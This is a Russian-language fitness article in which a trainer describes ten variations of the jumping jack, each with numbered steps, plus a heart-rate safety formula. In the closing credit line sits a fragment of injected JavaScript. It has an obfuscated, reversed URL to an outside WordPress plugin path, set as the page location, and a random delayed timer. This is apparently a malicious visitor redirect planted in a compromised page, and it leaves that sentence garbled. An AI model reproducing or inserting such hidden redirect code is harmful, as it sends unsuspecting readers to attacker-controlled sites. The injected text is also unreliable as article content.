Как сжечь жир при помощи одного упражнения: 10 способов сделать «Джампинг Джек»

«Джампинг Джек» — одно из самых популярных и эффективных кардиоупражнений. Эдвардр Казарян, мастер-тренер, фитнес-эксперт сети X-Fit в России по направлению групповых программ, показывает десять вариантов этого упражнения, которые заставят работать всё ваше тело. Выполнять вариации «Джампинг Джека» можно по отдельности или как единый комплекс.

 

Эдвардр Казарян

мастер-тренер, фитнес-эксперт сети X-Fit в России по направлению групповых программ

— «Джампинг Джек» — одно из самых популярных и эффективных кардиоупражнений. Задача очень проста: нужно одновременно разводить руки и ноги, выполнять это динамично в течение заданного времени. Упражнение часто используется для разогрева перед беговыми марафонами, а также в различных тренировках — начиная от функционально-интервальных и заканчивая кардиопрограммами.

Сегодня я покажу 10 различных вариаций «Джампинг Джека» — от лёгких (адаптационных) средней интенсивности до более сложных и функциональных. Перед началом тренировки выполните разминку, направленную на улучшение мобильности в суставах, используйте фитнес-браслет, измеряющий ваш пульс.

1. Прыжки с разведеним ног в стороны

1. Поставьте ноги параллельно, на ширине таза, руки — на поясе.
2. Расправьте спину, вытягивайтесь вверх за макушкой.
3. Выполните небольшой прыжок вверх и отведите ноги в стороны — на двойную ширину плеч.
4. Вернитесь в исходное положение.
5. Выполняйте упражнение в течение 30 секунд.

2. Классический «Джампинг Джек»: прыжки с разведением рук и ног в стороны

1. Поставьте ноги параллельно, на ширине таза, руки — на поясе.
2. Расправьте спину, вытягивайтесь вверх за макушкой.
3. Выполните небольшой прыжок вверх и отведите ноги в стороны на двойную ширину плеч. Руки отведите через стороны вверх.
4. Вернитесь в исходное положение.
5. Выполняйте упражнение в течение 30 секунд.

3. «Кросс Джек»: прыжки с разведением и скрещиванием рук и ног

1. Исходное положение — стоя. Скрестите ноги и руки.
2. Выполните прыжок и отведите ноги и руки в стороны на двойную ширину плеч.
3. Вернитесь в исходное положение.
4. Выполняйте упражнение в течение 30 секунд.

 

Эдвардр Казарян

мастер-тренер, фитнес-эксперт сети X-Fit в России по направлению групповых программ

— Напомню, что «Джампинг Джек» относится к кардиоупражнениям, оно обеспечивает нагрузку на сердечно-сосудистую систему и не подходит тем, у кого есть противопоказания. Если вы здоровы и хотите улучшить свои аэробные способности и общую выносливость, используйте датчик пульса. Следите за тем, чтобы ваш пульс не поднимался выше 85% от максимального сердечного ритма (МСР). Вычислить МСР очень просто по этой формуле: 220 – возраст = X. Результат нужно умножить на 0,85.

4. Прыжки с отведением рук и ног вперёд-назад

1. Поставьте одну ногу перед собой, а другую отведите назад (положение «ножницы»).
2. Ладони соедините перед грудной клеткой.
3. Выполняя прыжок, смените положение ног, руками широко размахивайте по сторонам.
4. Выполняйте упражнение в течение 30 секунд.

5. Прыжки из приседа с разведением рук

1. Исходное положение — стоя. Поставьте ноги параллельно, на ширине плеч.
2. Выполните приседание, сохраняя все естественные изгибы позвоночника.
3. Из приседа выпрыгните вверх, поставьте ноги на ширину таза и сделайте хлопок ладонями.
4. Вернитесь в исходное положение.
5. Выполняйте упражнение в течение 30 секунд.

6. «Супер-Джек»: прыжки с разведением рук и ног в стороны

1. Поставьте ноги параллельно друг другу на уровне таза, руки на поясе. Расправьте спину, вытягивайтесь вверх за макушкой.
2. Энергично выполните высокий прыжок вверх и отведите обе ноги в стороны на двойную ширину плеч. Руки отведите через стороны вверх.
3. Вернитесь в исходное положение.
4. Выполняйте упражнение в течение 30 секунд.

7. Прыжки с разведением рук и ног и динамическая планка

1. Поставьте ноги параллельно друг другу, на ширине таза, руки на поясе. Расправьте спину, вытягивайтесь вверх за макушкой.
2. Выполните прыжок вверх и отведите обе ноги в стороны на двойную ширину плеч, а руки — через стороны вверх.
3. Вернитесь в исходное положение.
4. Поставьте обе ладони на пол и отпрыгните назад (динамическая планка). Вернитесь в положение стоя.
5. Выполняйте упражнение в течение 30 секунд.

8. «Восстановительный Джек»: шаги с разведением рук и ног в стороны

1. Поставьте ноги параллельно, на ширине таза, руки на поясе. Расправьте спину, вытягивайтесь вверх за макушкой.
2. Выполните шаг в сторону одной ногой, а руки отведите через стороны вверх.
3. Вернитесь в исходное положение.
4. Чередуйте ноги и продолжайте выполнять упражнение в течение 30 секунд.

9. Прыжки с разведением рук и ног в полуприседе

1. Поставьте ноги параллельно друг другу, на ширине таза.
2. Выполните полуприсед, руки держите перед собой.
3. Сделайте резкий прыжок в строну и разведите руки и ноги на ширину плеч.
4. Из положения полуприседа вернитесь в исходное положение.
5. Выполняйте упражнение в течение 30 секунд.

10. «Победный Джек»: прыжки с работой разноимённых рук и ног

1. Поставьте одну ногу перед собой, а другую сзади (положение «ножницы»).
2. Одну руку поднимите над головой, вторую опустите вдоль тела.
3. Выполняя прыжок, смените постановку рук и ног.
4. Выполняйте упражнение в течение 30 секунд.

Редакция fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru благодарит Эдварда Казаряна и сеть фитнес-клубов X-Fit за помощь в проведении съёмки.

Статьи по теме

Лучшая тренировка на свете: 5 минут со скакалкой

Упражнения для внутренней стороны бедра: стройные ноги за 7 минут

11 упражнений, которые можно делать в парке или на даче

Как бегать и тренироваться в жару без рисков для здоровья